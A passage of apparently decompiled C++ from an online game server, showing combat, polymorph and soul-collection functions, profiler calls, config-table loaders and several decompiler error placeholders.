ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&emptycellitertmp); v49 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { LOBYTE(v49) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&emptycelliter); LOBYTE(v49) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&emptycellitertmp); v49 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (004903B0) -------------------------------------------------------- #error "4903B0: undefined or illegal type '#593' (funcsize=95)" //----- (00490510) -------------------------------------------------------- #error "490510: undefined or illegal type '#593' (funcsize=60)" //----- (004905F0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage(void *this, #593 *a2) { void *v2; // esi@1 char v3; // al@1 int v4; // edi@2 int v5; // edx@4 int v7; // edi@7 EngageArgument engarg; // [sp+18h] [bp-44h]@4 int v9; // [sp+58h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_BYTE *)v2 + 7428); v9 = 0; if ( !(v3 & 0x10) || (v4 = *((_DWORD *)v2 + 1801)) == 0 || !*(_DWORD *)(v4 + 164) ) goto LABEL_6; EngageArgument::EngageArgument( &engarg, (#593 *)v2, a2, (SkillDataBox::SkillDataIndex *)v4, (SKILL_EMPOWER *)v2 + 3612, *(SHINE_XY_TYPE **)((char *)v2 + 78), 1.0); v5 = **(_DWORD **)(v4 + 164); LOBYTE(v9) = 1; if ( !(unsigned __int8)(*(int (__stdcall **)(EngageArgument *))(v5 + 32))(&engarg) ) { LOBYTE(v9) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&engarg); LABEL_6: --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage"); return -1; } v7 = (*(int (__stdcall **)(EngageArgument *))(**(_DWORD **)(v4 + 164) + 28))(&engarg); *((_BYTE *)v2 + 7428) &= 0xEFu; *((_DWORD *)v2 + 1796) = 0; LOBYTE(v9) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&engarg); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage"); return v7; } //----- (00490750) -------------------------------------------------------- #error "490750: undefined or illegal type '#593' (funcsize=135)" //----- (00490930) -------------------------------------------------------- #error "490930: undefined or illegal type '#593' (funcsize=111)" //----- (00490AC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_Polymorph(void *this, int a2) { void *v2; // esi@1 signed __int16 v3; // di@2 AbnormalStateDictionary::AbState::AbStateStr *v4; // eax@2 char *v5; // eax@5 int v6; // ST0C_4@5 int v7; // eax@5 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@5 int v9; // [sp+20h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_Polymorph"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_Polymorph"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( a2 ) { v3 = *(_WORD *)(a2 + 20); v4 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_IMMORTAL); (*(void (__thiscall **)(void *, void *, signed int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, _DWORD, signed int, signed int))(*(_DWORD *)v2 + 1584))( v2, v2, 231, 1, v4, clockwatch.cw_CurrTick, 0, 0, 1000000000, 9); } else { v3 = -1; if ( (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1000))(v2, 231) ) (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1608))(v2, 231); } *(_WORD *)(*((_DWORD *)v2 + 8040) + 78) = v3; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4271; *((_WORD *)v5 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v5 + 2) = v3; *((_WORD *)v5 + 3) = -1; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v6 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v9) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v7, v6, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_Polymorph"); } //----- (00490C20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 int v6; // ST04_4@1 int v7; // eax@1 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@1 int v9; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)(*((_DWORD *)v4 + 8040) + 78) = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4271; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); v9 = 0; *((_WORD *)v5 + 2) = -1; *((_WORD *)v5 + 3) = -1; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v9) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 1, 65535); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1608))(v4, 391); if ( (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1000))(v4, 231) ) (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1608))(v4, 231); AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_IMMORTAL); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1608))(v4, 231); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD"); } //----- (00490D80) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer(int a1) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer"); return 0; } //----- (00490DD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_CanBeAttackedByPlayer(void *this, int a2) { void *v2; // esi@1 int v3; // ebx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMap::so_mob_CanBeAttackedByPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMap::so_mob_CanBeAttackedByPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (**)(void))(*(_DWORD *)a2 + 2252))(); LOBYTE(v3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2252))(v2) != v3; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMap::so_mob_CanBeAttackedByPlayer"); return v3; } //----- (00490E90) -------------------------------------------------------- #error "490E90: undefined or illegal type '#734' (funcsize=54)" //----- (00490F80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SoulManage(#593 *this, SkillDataBox::SkillDataIndex *a2) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SoulManage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SoulManage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SoulManage"); } // 490F80: inconsistent function type and number of purged bytes //----- (00490FD0) -------------------------------------------------------- #error "490FD0: undefined or illegal type '#593' (funcsize=122)" //----- (004911A0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineMobileObject::smo_HowMachSoul(int sklidx, int soulcollect, int a3) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HowMachSoul"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_HowMachSoul"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)soulcollect = 0; *(_BYTE *)(soulcollect + 4) = 0; *(_DWORD *)(soulcollect + 8) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HowMachSoul"); return soulcollect; } //----- (00491210) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::smo_HowMachSoul(void *this, int sklidx, int soulcollect, int a4) { void *v4; // esi@1 int v5; // eax@4 int v6; // esi@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_HowMachSoul"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_HowMachSoul"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( sklidx && *(_DWORD *)sklidx && *(_BYTE *)(*(_DWORD *)(sklidx + 4) + 662) && (v5 = (int)((char *)v4 + 143588), a4 == *((_DWORD *)v4 + 35897)) ) { v6 = soulcollect; *(_DWORD *)soulcollect = *(_DWORD *)v5; *(_DWORD *)(soulcollect + 4) = *(_DWORD *)(v5 + 4); *(_DWORD *)(soulcollect + 8) = *(_DWORD *)(v5 + 8); } else { v6 = soulcollect; *(_DWORD *)soulcollect = 0; *(_BYTE *)(soulcollect + 4) = 0; *(_DWORD *)(soulcollect + 8) = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_HowMachSoul"); return v6; } //----- (004912B0) -------------------------------------------------------- #error "4912B0: undefined or illegal type '#593' (funcsize=139)" //----- (00491470) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_smo_AbnormalStateAttribute(int condition) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_AbnormalStateAttribute"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_smo_AbnormalStateAttribute"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_AbnormalStateAttribute"); return 0; } //----- (004914C0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_smo_RangeEvation() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_RangeEvation"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_smo_RangeEvation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_RangeEvation"); return 0; } //----- (00491510) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_smo_RangeEvation(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_RangeEvation"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smo_RangeEvation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 3472); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_RangeEvation"); return v2; } //----- (00491580) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_Polymorph(MiscDataTable *this, OptionReader *miscdata) { int i; // ebx@1 void *v3; // eax@2 void *v4; // edi@2 unsigned __int8 v5; // al@3 int v6; // eax@6 int v7; // esi@6 unsigned int v8; // eax@6 char v9; // cl@8 char v10; // cl@8 ORToken v11; // [sp-18h] [bp-30h]@2 int v12; // [sp-14h] [bp-2Ch]@2 int v13; // [sp-10h] [bp-28h]@2 int v14; // [sp-Ch] [bp-24h]@2 int v15; // [sp-8h] [bp-20h]@2 int v16; // [sp-4h] [bp-1Ch]@2 void *v17; // [sp+10h] [bp-8h]@1 ORToken *v18; // [sp+14h] [bp-4h]@2 v17 = this; for ( i = 0; ; ++i ) { v16 = i; v18 = &v11; v15 = 0; v14 = 0; v13 = 0; v12 = 0; *(_DWORD *)&v11.ort_Name[0] = 0; strncpy(v11.ort_Name, "Polymorph", 0x14u); v3 = OptionReader::or_SelectFromOrder(miscdata, v11, v16); v4 = v3; if ( !v3 ) break; v5 = *(_BYTE *)v3; if ( *(_BYTE *)v4 != *((_BYTE *)v4 + 69) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_Polymorph : Checksum error", v5); ShineExit("MiscDataTable::mdt_Polymorph"); } MiscDataTable::mdt_SkillBufferAlloc(v17, (const char *)v4 + 1); v7 = v6; v8 = BTree::operator__(&mobdatabox.mdb_btree, (const char *)v4 + 34); if ( v8 == -1 ) LOWORD(v8) = -1; v9 = *(_BYTE *)(v7 + 22); *(_WORD *)(v7 + 20) = v8; v10 = (v9 ^ *((_BYTE *)v4 + 67)) & 1 ^ v9; *(_BYTE *)(v7 + 22) = v10; *(_BYTE *)(v7 + 22) = v10 ^ (v10 ^ 2 * *((_BYTE *)v4 + 68)) & 2; } } //----- (00491660) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_Neutralization(MiscDataTable *this, OptionReader *miscdata) { int i; // edi@1 void *v3; // eax@2 void *v4; // esi@2 unsigned __int8 v5; // al@3 int v6; // eax@6 int v7; // [sp-18h] [bp-2Ch]@2 int v8; // [sp-14h] [bp-28h]@2 int v9; // [sp-10h] [bp-24h]@2 int v10; // [sp-Ch] [bp-20h]@2 int v11; // [sp-8h] [bp-1Ch]@2 int v12; // [sp-4h] [bp-18h]@2 void *v13; // [sp+10h] [bp-4h]@1 v13 = this; for ( i = 0; ; ++i ) { v12 = i; v11 = 0; v10 = 0; v9 = 0; v8 = 0; v7 = 0; strncpy((char *)&v7, "Neutralization", 0x14u); v3 = OptionReader::or_SelectFromOrder(miscdata, *(ORToken *)&v7, v12); v4 = v3; if ( !v3 ) break; v5 = *(_BYTE *)v3; if ( *(_BYTE *)v4 != *((_BYTE *)v4 + 42) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_Neutralization : Checksum error", v5); ShineExit("MiscDataTable::mdt_Neutralization"); } MiscDataTable::mdt_SkillBufferAlloc(v13, (const char *)v4 + 1); *(_BYTE *)(v6 + 23) = 1; *(_WORD *)(v6 + 48) = *((_WORD *)v4 + 17); *(_WORD *)(v6 + 44) = *((_WORD *)v4 + 18); *(_WORD *)(v6 + 38) = *((_WORD *)v4 + 19); *(_WORD *)(v6 + 62) = *((_WORD *)v4 + 20); } } //----- (00491720) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_AbStateReset(MiscDataTable *this, OptionReader *miscdata) { void *v2; // eax@2 void *v3; // edi@2 unsigned __int8 v4; // al@3 MiscDataTable::MiscData_AbState *v5; // eax@6 MiscDataTable::MiscData_AbState *v6; // esi@6 char v7; // cl@6 int v8; // ebx@6 int v9; // edx@6 int v10; // ecx@6 int v11; // edx@6 char *v12; // eax@18 int v13; // edi@19 int v14; // ebx@19 int v15; // ecx@19 int v16; // eax@19 int v17; // ecx@19 char *v18; // eax@31 ORToken v19; // [sp-18h] [bp-F4h]@2 int v20; // [sp-14h] [bp-F0h]@2 int v21; // [sp-10h] [bp-ECh]@2 int v22; // [sp-Ch] [bp-E8h]@2 int v23; // [sp-8h] [bp-E4h]@2 int v24; // [sp-4h] [bp-E0h]@2 int k; // [sp+10h] [bp-CCh]@1 char v26[4]; // [sp+14h] [bp-C8h]@25 int v27; // [sp+18h] [bp-C4h]@25 int v28; // [sp+1Ch] [bp-C0h]@25 int v29; // [sp+20h] [bp-BCh]@25 int v30; // [sp+24h] [bp-B8h]@25 char v31[4]; // [sp+28h] [bp-B4h]@19 int v32; // [sp+2Ch] [bp-B0h]@19 int v33; // [sp+30h] [bp-ACh]@19 int v34; // [sp+34h] [bp-A8h]@19 int v35; // [sp+38h] [bp-A4h]@19 char v36[4]; // [sp+3Ch] [bp-A0h]@12 int v37; // [sp+40h] [bp-9Ch]@12 int v38; // [sp+44h] [bp-98h]@12 int v39; // [sp+48h] [bp-94h]@12 int v40; // [sp+4Ch] [bp-90h]@12 char v41[4]; // [sp+50h] [bp-8Ch]@6 int v42; // [sp+54h] [bp-88h]@6 int v43; // [sp+58h] [bp-84h]@6 int v44; // [sp+5Ch] [bp-80h]@6 int v45; // [sp+60h] [bp-7Ch]@6 OptionReader *v46; // [sp+64h] [bp-78h]@1 MiscDataTable *thisa; // [sp+68h] [bp-74h]@1 ORToken *v48; // [sp+6Ch] [bp-70h]@2 int v49; // [sp+74h] [bp-68h]@19 int v50; // [sp+78h] [bp-64h]@19 int v51; // [sp+7Ch] [bp-60h]@19 int v52; // [sp+80h] [bp-5Ch]@19 int v53; // [sp+88h] [bp-54h]@6 int v54; // [sp+8Ch] [bp-50h]@6 int v55; // [sp+90h] [bp-4Ch]@6 int v56; // [sp+94h] [bp-48h]@6 char buffer[64]; // [sp+98h] [bp-44h]@18 unsigned int v58; // [sp+D8h] [bp-4h]@1 v58 = (unsigned int)&k ^ __security_cookie; thisa = this; v46 = miscdata; for ( k = 0; ; ++k ) { v24 = k; v48 = &v19; v23 = 0; v22 = 0; v21 = 0; v20 = 0; *(_DWORD *)&v19.ort_Name[0] = 0; strncpy(v19.ort_Name, "AbStateReset", 0x14u); v2 = OptionReader::or_SelectFromOrder(v46, v19, v24); v3 = v2; if ( !v2 ) break; v4 = *(_BYTE *)v2; if ( *(_BYTE *)v3 != *((_BYTE *)v3 + 78) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : Checksum error", v4); ShineExit("MiscDataTable::mdt_AbStateReset"); } v5 = MiscDataTable::mdt_AbStateBufferAlloc(thisa, (char *)v3 + 1); v6 = v5; LOBYTE(v5) = (v5->mdas_ResetCondition._bf0 ^ *((_BYTE *)v3 + 34)) & 1 ^ v5->mdas_ResetCondition._bf0; v6->mdas_ResetCondition._bf0 = (char)v5; LOBYTE(v5) = (unsigned __int8)v5 ^ ((unsigned __int8)v5 ^ 2 * *((_BYTE *)v3 + 35)) & 2; v6->mdas_ResetCondition._bf0 = (char)v5; v7 = (unsigned __int8)v5 ^ ((unsigned __int8)v5 ^ 4 * *((_BYTE *)v3 + 36)) & 4; v6->mdas_ResetCondition._bf0 = v7; v6->mdas_ResetCondition._bf0 = v7 ^ (v7 ^ 8 * *((_BYTE *)v3 + 37)) & 8; v8 = *(_DWORD *)((char *)v3 + 38); v9 = *(_DWORD *)((char *)v3 + 46); v53 = *(_DWORD *)((char *)v3 + 42); v10 = *(_DWORD *)((char *)v3 + 50); v54 = v9; v11 = *(_DWORD *)((char *)v3 + 54); v55 = v10; v56 = v11; v45 = 0; v44 = 0; v43 = 0; v42 = 0; *(_DWORD *)v41 = 0; strncpy(v41, "-", 0x14u); if ( v8 != *(_DWORD *)v41 || v53 != v42 || v54 != v43 || v55 != v44 || v56 != v45 ) { v40 = 0; v39 = 0; v38 = 0; v37 = 0; *(_DWORD *)v36 = 0; strncpy(v36, "LeftHand", 0x14u); if ( v8 != *(_DWORD *)v36 || v53 != v37 || v54 != v38 || v55 != v39 || v56 != v40 ) { v12 = ORToken::ort_GetString((ORToken *)((char *)v3 + 38), buffer); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : EquipWhere", v12); } else { *(_DWORD *)&v6->mdas_ResetEquipment._bf0 = 1; } } else { *(_DWORD *)&v6->mdas_ResetEquipment._bf0 = 0; } v13 = (int)((char *)v3 + 58); v14 = *(_DWORD *)v13; v15 = *(_DWORD *)(v13 + 8); v49 = *(_DWORD *)(v13 + 4); v16 = *(_DWORD *)(v13 + 12); v50 = v15; v17 = *(_DWORD *)(v13 + 16); v51 = v16; v52 = v17; v35 = 0; v34 = 0; v33 = 0; v32 = 0; *(_DWORD *)v31 = 0; strncpy(v31, "-", 0x14u); if ( v14 != *(_DWORD *)v31 || v49 != v32 || v50 != v33 || v51 != v34 || v52 != v35 ) { v30 = 0; v29 = 0; v28 = 0; v27 = 0; *(_DWORD *)v26 = 0; strncpy(v26, "Shield", 0x14u); if ( v14 != *(_DWORD *)v26 || v49 != v27 || v50 != v28 || v51 != v29 || v52 != v30 ) { v18 = ORToken::ort_GetString((ORToken *)v13, buffer); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : EquipClass", v18); } else { *(_DWORD *)&v6->gap5[3] = 1; } } else { *(_DWORD *)&v6->gap5[3] = 0; } if ( *(_DWORD *)&v6->mdas_ResetEquipment._bf0 && !*(_DWORD *)&v6->gap5[3] ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : Invalis match", 0); ShineExit("MiscDataTable::mdt_Load"); } } } //----- (00491AA0) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_SkillBreedMob(MiscDataTable *this, OptionReader *miscdata) { void *v2; // eax@2 void *v3; // ebx@2 unsigned __int8 v4; // al@3 unsigned int v5; // eax@6 signed __int16 v6; // di@6 unsigned int v7; // eax@11 unsigned int v8; // ebp@11 bool v9; // zf@11 unsigned int v10; // edi@13 int v11; // edi@17 int v12; // edx@17 int v13; // ecx@17 int v14; // edx@17 char *v15; // eax@41 int v16; // edi@43 int v17; // eax@43 int v18; // edx@43 int v19; // eax@43 char *v20; // eax@55 int v21; // edi@57 int v22; // ebp@57 int v23; // ecx@57 int v24; // edx@57 unsigned int v25; // ebp@62 char *v26; // eax@87 int v27; // edi@95 int v28; // edx@95 int v29; // ecx@95 int v30; // edx@95 char *v31; // eax@125 int v32; // edi@127 int v33; // ecx@127 int v34; // eax@127 int v35; // ecx@127 int v36; // ecx@133 int v37; // edi@133 int v38; // ebx@133 int v39; // edx@133 int v40; // eax@133 int v41; // ecx@133 int v42; // eax@138 int v43; // eax@144 char *v44; // eax@145 ORToken v45; // [sp-18h] [bp-374h]@2 int v46; // [sp-14h] [bp-370h]@2 int v47; // [sp-10h] [bp-36Ch]@2 int v48; // [sp-Ch] [bp-368h]@2 int v49; // [sp-8h] [bp-364h]@2 int v50; // [sp-4h] [bp-360h]@2 unsigned int explosion; // [sp+10h] [bp-34Ch]@1 ORToken *thisa; // [sp+14h] [bp-348h]@2 int k; // [sp+18h] [bp-344h]@1 char v54[4]; // [sp+1Ch] [bp-340h]@69 int v55; // [sp+20h] [bp-33Ch]@69 int v56; // [sp+24h] [bp-338h]@69 int v57; // [sp+28h] [bp-334h]@69 int v58; // [sp+2Ch] [bp-330h]@69 char v59[4]; // [sp+30h] [bp-32Ch]@81 int v60; // [sp+34h] [bp-328h]@81 int v61; // [sp+38h] [bp-324h]@81 int v62; // [sp+3Ch] [bp-320h]@81 int v63; // [sp+40h] [bp-31Ch]@81 char v64[4]; // [sp+44h] [bp-318h]@63 int v65; // [sp+48h] [bp-314h]@63 int v66; // [sp+4Ch] [bp-310h]@63 int v67; // [sp+50h] [bp-30Ch]@63 int v68; // [sp+54h] [bp-308h]@63 char v69[4]; // [sp+58h] [bp-304h]@139 int v70; // [sp+5Ch] [bp-300h]@139 int v71; // [sp+60h] [bp-2FCh]@139 int v72; // [sp+64h] [bp-2F8h]@139 int v73; // [sp+68h] [bp-2F4h]@139 char v74[4]; // [sp+6Ch] [bp-2F0h]@75 int v75; // [sp+70h] [bp-2ECh]@75 int v76; // [sp+74h] [bp-2E8h]@75 int v77; // [sp+78h] [bp-2E4h]@75 int v78; // [sp+7Ch] [bp-2E0h]@75 char v79[4]; // [sp+80h] [bp-2DCh]@23 int v80; // [sp+84h] [bp-2D8h]@23 int v81; // [sp+88h] [bp-2D4h]@23 int v82; // [sp+8Ch] [bp-2D0h]@23 int v83; // [sp+90h] [bp-2CCh]@23 char v84[4]; // [sp+94h] [bp-2C8h]@95 int v85; // [sp+98h] [bp-2C4h]@95 int v86; // [sp+9Ch] [bp-2C0h]@95 int v87; // [sp+A0h] [bp-2BCh]@95 int v88; // [sp+A4h] [bp-2B8h]@95 char v89[4]; // [sp+A8h] [bp-2B4h]@35 int v90; // [sp+ACh] [bp-2B0h]@35 int v91; // [sp+B0h] [bp-2ACh]@35 int v92; // [sp+B4h] [bp-2A8h]@35 int v93; // [sp+B8h] [bp-2A4h]@35 char v94[4]; // [sp+BCh] [bp-2A0h]@101 int v95; // [sp+C0h] [bp-29Ch]@101 int v96; // [sp+C4h] [bp-298h]@101 int v97; // [sp+C8h] [bp-294h]@101 int v98; // [sp+CCh] [bp-290h]@101 char v99[4]; // [sp+D0h] [bp-28Ch]@49 int v100; // [sp+D4h] [bp-288h]@49 int v101; // [sp+D8h] [bp-284h]@49 int v102; // [sp+DCh] [bp-280h]@49 int v103; // [sp+E0h] [bp-27Ch]@49 char v104[4]; // [sp+E4h] [bp-278h]@107 int v105; // [sp+E8h] [bp-274h]@107 int v106; // [sp+ECh] [bp-270h]@107 int v107; // [sp+F0h] [bp-26Ch]@107 int v108; // [sp+F4h] [bp-268h]@107 char v109[4]; // [sp+F8h] [bp-264h]@17 int v110; // [sp+FCh] [bp-260h]@17 int v111; // [sp+100h] [bp-25Ch]@17 int v112; // [sp+104h] [bp-258h]@17 int v113; // [sp+108h] [bp-254h]@17 char v114[4]; // [sp+10Ch] [bp-250h]@113 int v115; // [sp+110h] [bp-24Ch]@113 int v116; // [sp+114h] [bp-248h]@113 int v117; // [sp+118h] [bp-244h]@113 int v118; // [sp+11Ch] [bp-240h]@113 char v119[4]; // [sp+120h] [bp-23Ch]@43 int v120; // [sp+124h] [bp-238h]@43 int v121; // [sp+128h] [bp-234h]@43 int v122; // [sp+12Ch] [bp-230h]@43 int v123; // [sp+130h] [bp-22Ch]@43 char v124[4]; // [sp+134h] [bp-228h]@119 int v125; // [sp+138h] [bp-224h]@119 int v126; // [sp+13Ch] [bp-220h]@119 int v127; // [sp+140h] [bp-21Ch]@119 int v128; // [sp+144h] [bp-218h]@119 char v129[4]; // [sp+148h] [bp-214h]@29 int v130; // [sp+14Ch] [bp-210h]@29 int v131; // [sp+150h] [bp-20Ch]@29 int v132; // [sp+154h] [bp-208h]@29 int v133; // [sp+158h] [bp-204h]@29 char v134[4]; // [sp+15Ch] [bp-200h]@127 int v135; // [sp+160h] [bp-1FCh]@127 int v136; // [sp+164h] [bp-1F8h]@127 int v137; // [sp+168h] [bp-1F4h]@127 int v138; // [sp+16Ch] [bp-1F0h]@127 char v139[4]; // [sp+170h] [bp-1ECh]@57 int v140; // [sp+174h] [bp-1E8h]@57 int v141; // [sp+178h] [bp-1E4h]@57 int v142; // [sp+17Ch] [bp-1E0h]@57 int v143; // [sp+180h] [bp-1DCh]@57 char v144[4]; // [sp+184h] [bp-1D8h]@133 int v145; // [sp+188h] [bp-1D4h]@133 int v146; // [sp+18Ch] [bp-1D0h]@133 int v147; // [sp+190h] [bp-1CCh]@133 int v148; // [sp+194h] [bp-1C8h]@133 void *v149; // [sp+198h] [bp-1C4h]@1 OptionReader *v150; // [sp+19Ch] [bp-1C0h]@1 int v151; // 